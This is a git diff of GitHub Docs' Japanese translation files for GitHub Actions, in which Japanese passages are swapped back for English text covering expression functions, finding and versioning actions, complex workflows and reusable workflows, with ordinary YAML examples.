`array`内のすべての値が連結されて文字列になります。 `optionalSeparator`を渡すと、連結された値の間にその値が挿入されます。 渡していない場合は、デフォルトのセパレータの`,`が使われます。 値を文字列にキャストします。 +The value for `array` can be an array or a string. All values in `array` are concatenated into a string. If you provide `optionalSeparator`, it is inserted between the concatenated values. Otherwise, the default separator `,` is used. Casts values to a string. -#### サンプル +#### Example -`join(github.event.issue.labels.*.name, ', ')`は'bug, help wanted'といった結果を返します。 +`join(github.event.issue.labels.*.name, ', ')` may return 'bug, help wanted' ### toJSON `toJSON(value)` -`value` を、書式を整えたJSON表現で返します。 この関数を使って、コンテキスト内で提供された情報のデバッグができます。 +Returns a pretty-print JSON representation of `value`. You can use this function to debug the information provided in contexts. -#### サンプル +#### Example -`toJSON(job)` は、`{ "status": "Success" }` といった結果を返します。 +`toJSON(job)` might return `{ "status": "Success" }` ### fromJSON `fromJSON(value)` -`value`に対するJSONオブジェクト、あるいはJSONデータ型を返します。 この関数を使って、評価された式としてJSONオブジェクトを提供したり、環境変数を文字列から変換したりできます。 +Returns a JSON object or JSON data type for `value`. You can use this function to provide a JSON object as an evaluated expression or to convert environment variables from a string. -#### JSONオブジェクトを返す例 +#### Example returning a JSON object -以下のワークフローはJSONのマトリックスを1つのジョブに設定し、それを出力と`fromJSON`を使って次のジョブに渡します。 +This workflow sets a JSON matrix in one job, and passes it to the next job using an output and `fromJSON`. {% raw %} ```yaml @@ -226,9 +226,9 @@ jobs: ``` {% endraw %} -#### JSONデータ型を返す例 +#### Example returning a JSON data type -このワークフローは`fromJSON`を使い、環境変数を文字列型から論理型もしくは整数に変換します。 +This workflow uses `fromJSON` to convert environment variables from a string to a Boolean or integer. {% raw %} ```yaml @@ -251,31 +251,31 @@ jobs: `hashFiles(path)` -`path`パターンにマッチするファイル群から単一のハッシュを返します。 単一の `path` パターンまたはコンマで区切られた複数の `path` パターンを指定できます。 `path`は`GITHUB_WORKSPACE`ディレクトリに対する相対であり、含められるのは`GITHUB_WORKSPACE`内のファイルだけです。 この関数はマッチしたそれぞれのファイルに対するSHA-256ハッシュを計算し、それらのハッシュを使ってファイルの集合に対する最終的なSHA-256ハッシュを計算します。 SHA-256に関する詳しい情報については「[SHA-2](https://en.wikipedia.org/wiki/SHA-2)」を参照してください。 +Returns a single hash for the set of files that matches the `path` pattern. You can provide a single `path` pattern or multiple `path` patterns separated by commas. The `path` is relative to the `GITHUB_WORKSPACE` directory and can only include files inside of the `GITHUB_WORKSPACE`. This function calculates an individual SHA-256 hash for each matched file, and then uses those hashes to calculate a final SHA-256 hash for the set of files. For more information about SHA-256, see "[SHA-2](https://en.wikipedia.org/wiki/SHA-2)." -パターンマッチング文字を使ってファイル名をマッチさせることができます。 パターンマッチングは、Windowsでは大文字小文字を区別しません。 サポートされているパターンマッチング文字に関する詳しい情報については「[{% data variables.product.prodname_actions %}のワークフロー構文](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions/#filter-pattern-cheat-sheet)」を参照してください。 +You can use pattern matching characters to match file names. Pattern matching is case-insensitive on Windows. For more information about supported pattern matching characters, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions/#filter-pattern-cheat-sheet)." -#### 単一のパターンの例 +#### Example with a single pattern -リポジトリ内の任意の`package-lock.json`ファイルにマッチします。 +Matches any `package-lock.json` file in the repository. `hashFiles('**/package-lock.json')` -#### 複数のパターンの例 +#### Example with multiple patterns -リポジトリ内の `package-lock.json` および `Gemfile.lock` ファイルのハッシュを作成します。 +Creates a hash for any `package-lock.json` and `Gemfile.lock` files in the repository. `hashFiles('**/package-lock.json', '**/Gemfile.lock')` -## ジョブステータスのチェック関数 +## Job status check functions -`if` 条件では、次のステータスチェック関数を式として使用できます。 A default status check of `success()` is applied unless you include one of these functions. `if` 条件に関する詳しい情報については、「[GitHub Actions のワークフロー構文](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)」を参照してください。 +You can use the following status check functions as expressions in `if` conditionals. A default status check of `success()` is applied unless you include one of these functions. For more information about `if` conditionals, see "[Workflow syntax for GitHub Actions](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)." ### success -以前のステップで失敗もしくはキャンセルされたものがない場合に`true`を返します。 +Returns `true` when none of the previous steps have failed or been canceled. -#### サンプル +#### Example ```yaml steps: @@ -286,9 +286,9 @@ steps: ### always -Causes the step to always execute, and returns `true`, even when canceled. クリティカルなエラーによりタスクが実行されない場合は、ジョブやステップも実行されません。 たとえば、ソースの取得に失敗した場合などがそれにあたります。 +Causes the step to always execute, and returns `true`, even when canceled. A job or step will not run when a critical failure prevents the task from running. For example, if getting sources failed. -#### サンプル +#### Example ```yaml if: {% raw %}${{ always() }}{% endraw %} @@ -296,9 +296,9 @@ if: {% raw %}${{ always() }}{% endraw %} ### cancelled -ワークフローがキャンセルされた場合、`true` を返します。 +Returns `true` if the workflow was canceled. -#### サンプル +#### Example ```yaml if: {% raw %}${{ cancelled() }}{% endraw %} @@ -306,9 +306,9 @@ if: {% raw %}${{ cancelled() }}{% endraw %} ### failure -ジョブの以前のステップのいずれかが失敗したなら`true`を返します。 +Returns `true` when any previous step of a job fails. If you have a chain of dependent jobs, `failure()` returns `true` if any ancestor job fails. -#### サンプル +#### Example ```yaml steps: @@ -317,11 +317,11 @@ steps: if: {% raw %}${{ failure() }}{% endraw %} ``` -## オブジェクトフィルタ +## Object filters -`*` 構文を使って、フィルタを適用し、コレクション内の一致するアイテムを選択できます。 +You can use the `*` syntax to apply a filter and select matching items in a collection. -たとえば、`fruits`というオブジェクトの配列を考えます。 +For example, consider an array of objects named `fruits`. ```json [ @@ -331,4 +331,4 @@ steps: ] ``` -`fruits.*.name`というフィルタを指定すると、配列`[ "apple", "orange", "pear" ]`が返されます。 +The filter `fruits.*.name` returns the array `[ "apple", "orange", "pear" ]` diff --git a/translations/ja-JP/content/actions/learn-github-actions/finding-and-customizing-actions.md b/translations/ja-JP/content/actions/learn-github-actions/finding-and-customizing-actions.md index f15e3d3255..ed8b6f1ee4 100644 --- a/translations/ja-JP/content/actions/learn-github-actions/finding-and-customizing-actions.md +++ b/translations/ja-JP/content/actions/learn-github-actions/finding-and-customizing-actions.md @@ -1,7 +1,7 @@ --- -title: アクションの検索とカスタマイズ -shortTitle: アクションの検索とカスタマイズ -intro: アクションは、ワークフローを動かす構成要素です。 ワークフローには、コミュニティによって作成されたアクションを含めることも、アプリケーションのリポジトリ内に直接独自のアクションを作成することもできます。 このガイドでは、アクションを発見、使用、およびカスタマイズする方法を説明します。 +title: Finding and customizing actions +shortTitle: Finding and customizing actions +intro: 'Actions are the building blocks that power your workflow. A workflow can contain actions created by the community, or you can create your own actions directly within your application''s repository. This guide will show you how to discover, use, and customize actions.' redirect_from: - /actions/automating-your-workflow-with-github-actions/using-github-marketplace-actions - /actions/automating-your-workflow-with-github-actions/using-actions-from-github-marketplace-in-your-workflow @@ -21,13 +21,13 @@ topics: {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## 概要 +## Overview -ワークフローで使用するアクションは、以下の場所で定義できます。 +The actions you use in your workflow can be defined in: -- パブリック リポジトリ -- ワークフローファイルがアクションを参照するのと同じリポジトリ -- Docker Hubで公開された Docker コンテナイメージ +- A public repository +- The same repository where your workflow file references the action +- A published Docker container image on Docker Hub {% data variables.product.prodname_marketplace %} is a central location for you to find actions created by the {% data variables.product.prodname_dotcom %} community.{% ifversion fpt or ghec %} [{% data variables.product.prodname_marketplace %} page](https://github.com/marketplace/actions/) enables you to filter for actions by category. {% endif %} @@ -35,32 +35,35 @@ topics: {% ifversion fpt or ghec %} -## ワークフローエディタで Marketplace アクションを参照する +## Browsing Marketplace actions in the workflow editor -リポジトリのワークフローエディタで、直接アクションを検索し、ブラウズできます。 サイドバーから特定のアクションを検索し、注目のアクションを見て、注目のカテゴリをブラウズできます。 また、アクションが{% data variables.product.prodname_dotcom %}コミュニティから受けたStarの数も見ることができます。 +You can search and browse actions directly in your repository's workflow editor. From the sidebar, you can search for a specific action, view featured actions, and browse featured categories. You can also view the number of stars an action has received from the {% data variables.product.prodname_dotcom %} community. -1. リポジトリで、編集したいワークフローファイルにアクセスします。 -1. ファイルビューの右上隅の {% octicon "pencil" aria-label="The edit icon" %}をクリックしてワークフローエディタを開きます。 ![ワークフローファイルの編集ボタン](/assets/images/help/repository/actions-edit-workflow-file.png) -1. エディタの右側で{% data variables.product.prodname_marketplace %}サイドバーを使ってアクションをブラウズしてください。 {% octicon "verified" aria-label="The verified badge" %} バッジの付いたアクションは、{% data variables.product.prodname_dotcom %} がアクションの作者をパートナー Organization として確認したことを示します。 ![マーケットプレイスのワークフローサイドバー](/assets/images/help/repository/actions-marketplace-sidebar.png) +1. In your repository, browse to the workflow file you want to edit. +1. In the upper right corner of the file view, to open the workflow editor, click {% octicon "pencil" aria-label="The edit icon" %}. + ![Edit workflow file button](/assets/images/help/repository/actions-edit-workflow-file.png) +1. To the right of the editor, use the {% data variables.product.prodname_marketplace %} sidebar to browse actions. Actions with the {% octicon "verified" aria-label="The verified badge" %} badge indicate {% data variables.product.prodname_dotcom %} has verified the creator of the action as a partner organization. + ![Marketplace workflow sidebar](/assets/images/help/repository/actions-marketplace-sidebar.png) -## ワークフローにアクションを追加する +## Adding an action to your workflow -アクションのリストのページには、アクションのバージョンと、そのアクションを利用するために必要なワークフローの構文が含まれています。 アクションが更新された場合でもワークフローを安定させるために、ワークフローファイルで Git または Docker タグ番号を指定することにより、使用するアクションのバージョンを参照できます。 +An action's listing page includes the action's version and the workflow syntax required to use the action. To keep your workflow stable even when updates are made to an action, you can reference the version of the action to use by specifying the Git or Docker tag number in your workflow file. -1. ワークフローで使いたいアクションにアクセスしてください。 -1. "Installation（インストール）"の下で、{% octicon "clippy" aria-label="The edit icon" %}をクリックしてワークフローの構文をコピーしてください。 ![アクションのリストの表示](/assets/images/help/repository/actions-sidebar-detailed-view.png) -1. この構文をワークフロー中に新しいステップとして貼り付けてください。 詳細については、「[{% data variables.product.prodname_actions %}のワークフロー構文](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idsteps)」を参照してください。 -1. アクションで入力が必要な場合は、ワークフローで設定します。 アクションに必要な入力については、「[アクションで入力と出力を使用する](/actions/learn-github-actions/finding-and-customizing-actions#using-inputs-and-outputs-with-an-action)」を参照してください。 +1. Navigate to the action you want to use in your workflow. +1. Under "Installation", click {% octicon "clippy" aria-label="The edit icon" %} to copy the workflow syntax. + ![View action listing](/assets/images/help/repository/actions-sidebar-detailed-view.png) +1. Paste the syntax as a new step in your workflow. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idsteps)." +1. If the action requires you to provide inputs, set them in your workflow. For information on inputs an action might require, see "[Using inputs and outputs with an action](/actions/learn-github-actions/finding-and-customizing-actions#using-inputs-and-outputs-with-an-action)." {% data reusables.dependabot.version-updates-for-actions %} {% endif %} -## カスタムアクションにリリース管理を使用する +## Using release management for your custom actions -コミュニティアクションの作者は、タグ、ブランチ、または SHA 値を使用してアクションのリリースを管理するオプションがあります。 他の依存関係と同様に、アクションの更新を自動的に受け入れる際のお好みに応じて、使用するアクションのバージョンを指定する必要があります。 +The creators of a community action have the option to use tags, branches, or SHA values to manage releases of the action. Similar to any dependency, you should indicate the version of the action you'd like to use based on your comfort with automatically accepting updates to the action. -ワークフローファイルでアクションのバージョンを指定します。 リリース管理へのアプローチに関する情報、および使用するタグ、ブランチ、または SHA 値を確認するには、アクションのドキュメントを確認してください。 +You will designate the version of the action in your workflow file. Check the action's documentation for information on their approach to release management, and to see which tag, branch, or SHA value to use. {% note %} @@ -68,42 +71,42 @@ topics: {% endnote %} -### タグの使用 +### Using tags -タグは、メジャーバージョンとマイナーバージョンの切り替えタイミングを決定するときに役立ちますが、これらはより一過性のものであり、メンテナから移動または削除される可能性があります。 この例では、`v1.0.1` としてタグ付けされたアクションをターゲットにする方法を示しています。 +Tags are useful for letting you decide when to switch between major and minor versions, but these are more ephemeral and can be moved or deleted by the maintainer. This example demonstrates how to target an action that's been tagged as `v1.0.1`: ```yaml steps: - uses: actions/javascript-action@v1.0.1 ``` -### SHA の使用 +### Using SHAs -より信頼性の高いバージョン管理が必要な場合は、アクションのバージョンに関連付けられた SHA 値を使用する必要があります。 SHA は不変であるため、タグやブランチよりも信頼性が高くなります。 ただし、このアプローチでは、重要なバグ修正やセキュリティアップデートなど、アクションの更新を自動的に受信しません。 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}You must use a commit's full SHA value, and not an abbreviated value. {% endif %}この例ではアクションのSHAを対象としています。 +If you need more reliable versioning, you should use the SHA value associated with the version of the action. SHAs are immutable and therefore more reliable than tags or branches. However this approach means you will not automatically receive updates for an action, including important bug fixes and security updates. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}You must use a commit's full SHA value, and not an abbreviated value. {% endif %}This example targets an action's SHA: ```yaml steps: - uses: actions/javascript-action@172239021f7ba04fe7327647b213799853a9eb89 ``` -### ブランチの使用 +### Using branches -アクションのターゲットブランチを指定すると、そのブランチに現在あるバージョンが常に実行されます。 ブランチの更新に重大な変更が含まれている場合、このアプローチは問題を引き起こす可能性があります。 この例では、`@main` という名前のブランチを対象としています。 +Specifying a target branch for the action means it will always run the version currently on that branch. This approach can create problems if an update to the branch includes breaking changes. This example targets a branch named `@main`: ```yaml steps: - uses: actions/javascript-action@main ``` -詳しい情報については、「[アクションにリリース管理を使用する](/actions/creating-actions/about-actions#using-release-management-for-actions)」を参照してください。 +For more information, see "[Using release management for actions](/actions/creating-actions/about-actions#using-release-management-for-actions)." -## アクションで入力と出力を使用する +## Using inputs and outputs with an action -多くの場合、アクションは入力を受け入れたり要求したりして、使用できる出力を生成します。 たとえば、アクションでは、ファイルへのパス、ラベルの名前、またはアクション処理の一部として使用するその他のデータを指定する必要がある場合があります。 +An action often accepts or requires inputs and generates outputs that you can use. For example, an action might require you to specify a path to a file, the name of a label, or other data it will use as part of the action processing. -アクションの入力と出力を確認するには、リポジトリのルートディレクトリにある `action.yml` または `action.yaml` を確認してください。 +To see the inputs and outputs of an action, check the `action.yml` or `action.yaml` in the root directory of the repository. -この例の `action.yml` では、`inputs` キーワードは、`file-path` と呼ばれる必須の入力を定義し、何も指定されていない場合に使用されるデフォルト値を含みます。 `output` キーワードは、結果の場所を示す `results-file` という出力を定義します。 +In this example `action.yml`, the `inputs` keyword defines a required input called `file-path`, and includes a default value that will be used if none is specified. The `outputs` keyword defines an output called `results-file`, which tells you where to locate the results. ```yaml name: "Example" @@ -120,17 +123,16 @@ outputs: {% ifversion ghae %} -## {% data variables.product.prodname_ghe_managed %} に含まれているアクションを使用する -デフォルト設定では、 +## Using the actions included with {% data variables.product.prodname_ghe_managed %} -{% data variables.product.prodname_ghe_managed %} で公式の {% data variables.product.prodname_dotcom %} 作者のアクションのほとんどを使用できます。 詳しい情報については、「[{% data variables.product.prodname_ghe_managed %} でアクションを使用する](/admin/github-actions/using-actions-in-github-ae)」を参照してください。 +By default, you can use most of the official {% data variables.product.prodname_dotcom %}-authored actions in {% data variables.product.prodname_ghe_managed %}. For more information, see "[Using actions in {% data variables.product.prodname_ghe_managed %}](/admin/github-actions/using-actions-in-github-ae)." {% endif %} -## ワークフロー ファイルでアクションを使用するのと同じリポジトリ内のアクションの参照 +## Referencing an action in the same repository where a workflow file uses the action -ワークフロー ファイルがアクションを使用するのと同じリポジトリでアクションが定義されている場合、そのアクションはワークフロー ファイル内の`{owner}/{repo}@{ref}` または `./path/to/dir` 構文を使用して参照できます。 +If an action is defined in the same repository where your workflow file uses the action, you can reference the action with either the ‌`{owner}/{repo}@{ref}` or `./path/to/dir` syntax in your workflow file. -リポジトリ ファイル構造の例: +Example repository file structure: ``` |-- hello-world (repository) @@ -142,24 +144,24 @@ outputs: | └── action.yml ``` -ワークフロー ファイルの例: +Example workflow file: ```yaml jobs: build: runs-on: ubuntu-latest steps: - # このステップは、リポジトリのコピーをチェックアウトします。 + # This step checks out a copy of your repository. - uses: actions/checkout@v2 - # このステップは、アクションを含むディレクトリを参照します。 + # This step references the directory that contains the action. - uses: ./.github/actions/hello-world-action ``` -`action.yml` ファイルは、アクションのメタデータを提供するために使用されます。 このファイルの内容については、「[GitHub Actions のメタデータ構文](/actions/creating-actions/metadata-syntax-for-github-actions)」をご覧ください。 +The `action.yml` file is used to provide metadata for the action. Learn about the content of this file in "[Metadata syntax for GitHub Actions](/actions/creating-actions/metadata-syntax-for-github-actions)" -## Docker Hubでのコンテナの参照 +## Referencing a container on Docker Hub -あるアクションが Docker Hub の公開された Docker コンテナイメージで定義されている場合は、そのアクションはワークフロー ファイル内の `docker://{image}:{tag}` 構文を使用して参照する必要があります。 コードとデータを保護するには、ワークフローで使用する前に Docker HubからのDocker コンテナイメージの整合性を確認することを強くおすすめします。 +If an action is defined in a published Docker container image on Docker Hub, you must reference the action with the `docker://{image}:{tag}` syntax in your workflow file. To protect your code and data, we strongly recommend you verify the integrity of the Docker container image from Docker Hub before using it in your workflow. ```yaml jobs: @@ -169,8 +171,8 @@ jobs: uses: docker://alpine:3.8 ``` -Docker アクションの例については、[Docker-image.yml のワークフロー](https://github.com/actions/starter-workflows/blob/main/ci/docker-image.yml) および「[Docker コンテナのアクションを作成する](/articles/creating-a-docker-container-action)」を参照してください。 +For some examples of Docker actions, see the [Docker-image.yml workflow](https://github.com/actions/starter-workflows/blob/main/ci/docker-image.yml) and "[Creating a Docker container action](/articles/creating-a-docker-container-action)." -## 次のステップ +## Next steps -{% data variables.product.prodname_actions %} の詳細については、「[{% data variables.product.prodname_actions %} の重要な機能](/actions/learn-github-actions/essential-features-of-github-actions)」を参照してください。 +To continue learning about {% data variables.product.prodname_actions %}, see "[Essential features of {% data variables.product.prodname_actions %}](/actions/learn-github-actions/essential-features-of-github-actions)." diff --git a/translations/ja-JP/content/actions/learn-github-actions/managing-complex-workflows.md b/translations/ja-JP/content/actions/learn-github-actions/managing-complex-workflows.md index 6636a23160..b1f8e0565c 100644 --- a/translations/ja-JP/content/actions/learn-github-actions/managing-complex-workflows.md +++ b/translations/ja-JP/content/actions/learn-github-actions/managing-complex-workflows.md @@ -1,7 +1,7 @@ --- -title: 複雑なワークフローを管理する -shortTitle: 複雑なワークフローを管理する -intro: 'このガイドでは、シークレット管理、依存ジョブ、キャッシング、ビルドマトリックス、{% ifversion fpt or ghes > 3.0 or ghae or ghec %}環境、{% endif %}ラベルなど、{% data variables.product.prodname_actions %} のより高度な機能を使用する方法を説明します。' +title: Managing complex workflows +shortTitle: Managing complex workflows +intro: 'This guide shows you how to use the advanced features of {% data variables.product.prodname_actions %}, with secret management, dependent jobs, caching, build matrices,{% ifversion fpt or ghes > 3.0 or ghae or ghec %} environments,{% endif %} and labels.' versions: fpt: '*' ghes: '*' @@ -16,15 +16,15 @@ topics: {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## 概要 +## Overview This article describes some of the advanced features of {% data variables.product.prodname_actions %} that help you create more complex workflows. -## シークレットを保存する +## Storing secrets -ワークフローでパスワードや証明書などの機密データを使用する場合は、これらを {% data variables.product.prodname_dotcom %} に _secrets_ として保存すると、ワークフローで環境変数として使用できます。 これは、YAML ワークフローに直接機密値を埋め込むことなく、ワークフローを作成して共有できることを示しています。 +If your workflows use sensitive data, such as passwords or certificates, you can save these in {% data variables.product.prodname_dotcom %} as _secrets_ and then use them in your workflows as environment variables. This means that you will be able to create and share workflows without having to embed sensitive values directly in the YAML workflow. -この例では、既存のシークレットを環境変数として参照し、それをパラメータとしてサンプルコマンドに送信する方法を示しています。 +This example action demonstrates how to reference an existing secret as an environment variable, and send it as a parameter to an example command. {% raw %} ```yaml @@ -40,13 +40,13 @@ jobs: ``` {% endraw %} -詳しい情報については「[暗号化されたシークレットの作成と保存](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets)」を参照してください。 +For more information, see "[Creating and storing encrypted secrets](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets)." -## 依存ジョブを作成する +## Creating dependent jobs -デフォルトでは、ワークフロー内のジョブはすべて同時並行で実行されます。 したがって、別のジョブが完了した後にのみ実行する必要があるジョブがある場合は、`needs` キーワードを使用してこの依存関係を作成できます。 ジョブのうちの 1 つが失敗すると、依存するすべてのジョブがスキップされます。ただし、ジョブを続行する必要がある場合は、[`if`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idif) 条件ステートメントを使用してこれを定義できます。 +By default, the jobs in your workflow all run in parallel at the same time. So if you have a job that must only run after another job has completed, you can use the `needs` keyword to create this dependency. If one of the jobs fails, all dependent jobs are skipped; however, if you need the jobs to continue, you can define this using the [`if`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idif) conditional statement. -この例では、`setup`、`build`、および `test` ジョブが連続して実行され、`build` と `test` は、それらに先行するジョブが正常に完了したかどうかに依存します。 +In this example, the `setup`, `build`, and `test` jobs run in series, with `build` and `test` being dependent on the successful completion of the job that precedes them: ```yaml jobs: @@ -66,11 +66,11 @@ jobs: - run: ./test_server.sh ``` -詳しい情報については、[`jobs..needs`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds) を参照してください。 +For more information, see [`jobs..needs`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds). -## ビルドマトリックスを使用する +## Using a build matrix -ワークフローでオペレーティングシステム、プラットフォーム、および言語の複数の組み合わせにわたってテストを実行する場合は、ビルドマトリックスを使用できます。 ビルドマトリックスは、ビルドオプションを配列として受け取る `strategy` キーワードを使用して作成されます。 たとえば、このビルドマトリックスは、異なるバージョンの Node.js を使用して、ジョブを複数回実行します。 +You can use a build matrix if you want your workflow to run tests across multiple combinations of operating systems, platforms, and languages. The build matrix is created using the `strategy` keyword, which receives the build options as an array. For example, this build matrix will run the job multiple times, using different versions of Node.js: {% raw %} ```yaml @@ -87,14 +87,14 @@ jobs: ``` {% endraw %} -詳しい情報については、[`jobs..strategy.matrix`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstrategymatrix) を参照してください。 +For more information, see [`jobs..strategy.matrix`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstrategymatrix). {% ifversion fpt or ghec %} -## 依存関係のキャッシング +## Caching dependencies -{% data variables.product.prodname_dotcom %} ホストランナーは各ジョブの新しい環境として開始されるため、ジョブが依存関係を定期的に再利用する場合は、これらのファイルをキャッシュしてパフォーマンスを向上させることを検討できます。 キャッシュが作成されると、同じリポジトリ内のすべてのワークフローで使用できるようになります。 +{% data variables.product.prodname_dotcom %}-hosted runners are started as fresh environments for each job, so if your jobs regularly reuse dependencies, you can consider caching these files to help improve performance. Once the cache is created, it is available to all workflows in the same repository. -この例は、`~/.npm` ディレクトリをキャッシュする方法を示しています。 +This example demonstrates how to cache the ` ~/.npm` directory: {% raw %} ```yaml @@ -113,12 +113,12 @@ jobs: ``` {% endraw %} -詳しい情報については、「ワークフローを高速化するための依存関係のキャッシュ」を参照してください。 +For more information, see "Caching dependencies to speed up workflows." {% endif %} -## データベースとサービスコンテナの利用 +## Using databases and service containers -ジョブにデータベースまたはキャッシュサービスが必要な場合は、[`services`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idservices) キーワードを使用して、サービスをホストするための一時コンテナを作成できます。 この例は、ジョブが `services` を使用して `postgres` コンテナを作成し、`node` を使用してサービスに接続する方法を示しています。 +If your job requires a database or cache service, you can use the [`services`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idservices) keyword to create an ephemeral container to host the service; the resulting container is then available to all steps in that job and is removed when the job has completed. This example demonstrates how a job can use `services` to create a `postgres` container, and then use `node` to connect to the service. ```yaml jobs: @@ -140,14 +140,14 @@ jobs: POSTGRES_PORT: 5432 ``` -詳しい情報については、「[データベースおよびサービスコンテナを使用する](/actions/configuring-and-managing-workflows/using-databases-and-service-containers)」を参照してください。 +For more information, see "[Using databases and service containers](/actions/configuring-and-managing-workflows/using-databases-and-service-containers)." -## ラベルを使用してワークフローを転送する +## Using labels to route workflows -この機能では、特定のホストランナーにジョブを割り当てることができます。 特定のタイプのランナーがジョブを処理することを確認したい場合は、ラベルを使用してジョブの実行場所を制御できます。 You can assign labels to a self-hosted runner in addition to their default label of `self-hosted`. Then, you can refer to these labels in your YAML workflow, ensuring that the job is routed in a predictable way.{% ifversion not ghae %} {% data variables.product.prodname_dotcom %}-hosted runners have predefined labels assigned.{% endif %} +This feature helps you assign jobs to a specific hosted runner. If you want to be sure that a particular type of runner will process your job, you can use labels to control where jobs are executed. You can assign labels to a self-hosted runner in addition to their default label of `self-hosted`. Then, you can refer to these labels in your YAML workflow, ensuring that the job is routed in a predictable way.{% ifversion not ghae %} {% data variables.product.prodname_dotcom %}-hosted runners have predefined labels assigned.{% endif %} {% ifversion ghae %} -この例は、ワークフローがラベルを使用して必要なランナーを指定する方法を示しています。 +This example shows how a workflow can use labels to specify the required runner: ```yaml jobs: @@ -155,9 +155,9 @@ jobs: runs-on: [AE-runner-for-CI] ``` -詳しい情報については、「[{% data variables.actions.hosted_runner %} でのラベルの利用](/actions/using-github-hosted-runners/using-labels-with-ae-hosted-runners)」を参照してください。 +For more information, see ["Using labels with {% data variables.actions.hosted_runner %}](/actions/using-github-hosted-runners/using-labels-with-ae-hosted-runners)." {% else %} -この例は、ワークフローがラベルを使用して必要なランナーを指定する方法を示しています。 +This example shows how a workflow can use labels to specify the required runner: ```yaml jobs: @@ -167,28 +167,30 @@ jobs: A workflow will only run on a runner that has all the labels in the `runs-on` array. The job will preferentially go to an idle self-hosted runner with the specified labels. If none are available and a {% data variables.product.prodname_dotcom %}-hosted runner with the specified labels exists, the job will go to a {% data variables.product.prodname_dotcom %}-hosted runner. -To learn more about self-hosted runner labels, see ["Using labels with self-hosted runners](/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners)." To learn more about -{% data variables.product.prodname_dotcom %}-hosted runner labels, see ["Supported runners and hardware resources"](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-runners-and-hardware-resources). +To learn more about self-hosted runner labels, see ["Using labels with self-hosted runners](/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners)." +To learn more about {% data variables.product.prodname_dotcom %}-hosted runner labels, see ["Supported runners and hardware resources"](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-runners-and-hardware-resources). {% endif %} {% data reusables.actions.reusable-workflows %} {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} -## 環境の使用 +## Using environments -保護ルールとシークレットを持つ環境を設定できます。 ワークフロー内の各ジョブは、1つの環境を参照できます。 この環境を参照するとジョブがランナーに送信される前に、環境に設定された保護ルールをパスしなければなりません。 For more information, see "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)." +You can configure environments with protection rules and secrets. Each job in a workflow can reference a single environment. Any protection rules configured for the environment must pass before a job referencing the environment is sent to a runner. For more information, see "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)." {% endif %} -## ワークフロー テンプレートの使用 +## Using a workflow template {% data reusables.actions.workflow-template-overview %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} -1. リポジトリに既存のワークフローが既に存在する場合: 左上隅にある [**New workflow（新しいワークフロー）**] をクリックします。 ![新規ワークフローの選択](/assets/images/help/repository/actions-new-workflow.png) -1. 使いたいテンプレート名の下で、**Set up this workflow（このワークフローをセットアップする）**をクリックしてください。 ![このワークフローを設定します](/assets/images/help/settings/actions-create-starter-workflow.png) +1. If your repository already has existing workflows: In the upper-left corner, click **New workflow**. + ![Create a new workflow](/assets/images/help/repository/actions-new-workflow.png) +1. Under the name of the template you'd like to use, click **Set up this workflow**. + ![Set up this workflow](/assets/images/help/settings/actions-create-starter-workflow.png) -## 次のステップ +## Next steps To continue learning about {% data variables.product.prodname_actions %}, see "[Sharing workflows, secrets, and runners with your organization](/actions/learn-github-actions/sharing-workflows-secrets-and-runners-with-your-organization)." diff --git a/translations/ja-JP/content/actions/learn-github-actions/reusing-workflows.md b/translations/ja-JP/content/actions/learn-github-actions/reusing-workflows.md index 12c0fb54f4..762284674b 100644 --- a/translations/ja-JP/content/actions/learn-github-actions/reusing-workflows.md +++ b/translations/ja-JP/content/actions/learn-github-actions/reusing-workflows.md @@ -70,6 +70,7 @@ Called workflows can access self-hosted runners from caller's context. This mean * Reusable workflows stored within a private repository can only be used by workflows within the same repository. * Any environment variables set in an `env` context defined at the workflow level in the caller workflow are not propagated to the called workflow. For more information about the `env` context, see "[Context and expression syntax for GitHub Actions](/actions/reference/context-and-expression-syntax-for-github-actions#env-context)." * You can't set the concurrency of a called workflow from the caller workflow. For more information about `jobs..concurrency`, see "[Workflow syntax for GitHub Actions](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idconcurrency)." +* The `strategy` property is not supported in any job that calls a reusable workflow. ## Creating a reusable workflow diff --git a/translations/ja-JP/content/actions/learn-github-actions/understanding-github-actions.md b/translations/ja-JP/content/actions/learn-github-actions/understanding-github-actions.md index f0d8b023ac..90de4101cd 100644 --- a/translations/ja-JP/content/actions/learn-github-actions/understanding-github-actions.md +++ b/translations/ja-JP/content/actions/learn-github-actions/understanding-github-actions.md @@ -21,55 +21,62 @@ topics: {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## 概要 +## Overview -{% data variables.product.prodname_actions %} は、ソフトウェア開発ライフサイクル内のタスクを自動化するのに役立ちます。 {% data variables.product.prodname_actions %} はイベント駆動型で、指定されたイベントが発生した後に一連のコマンドを実行できます。 たとえば、誰かがリポジトリのPull 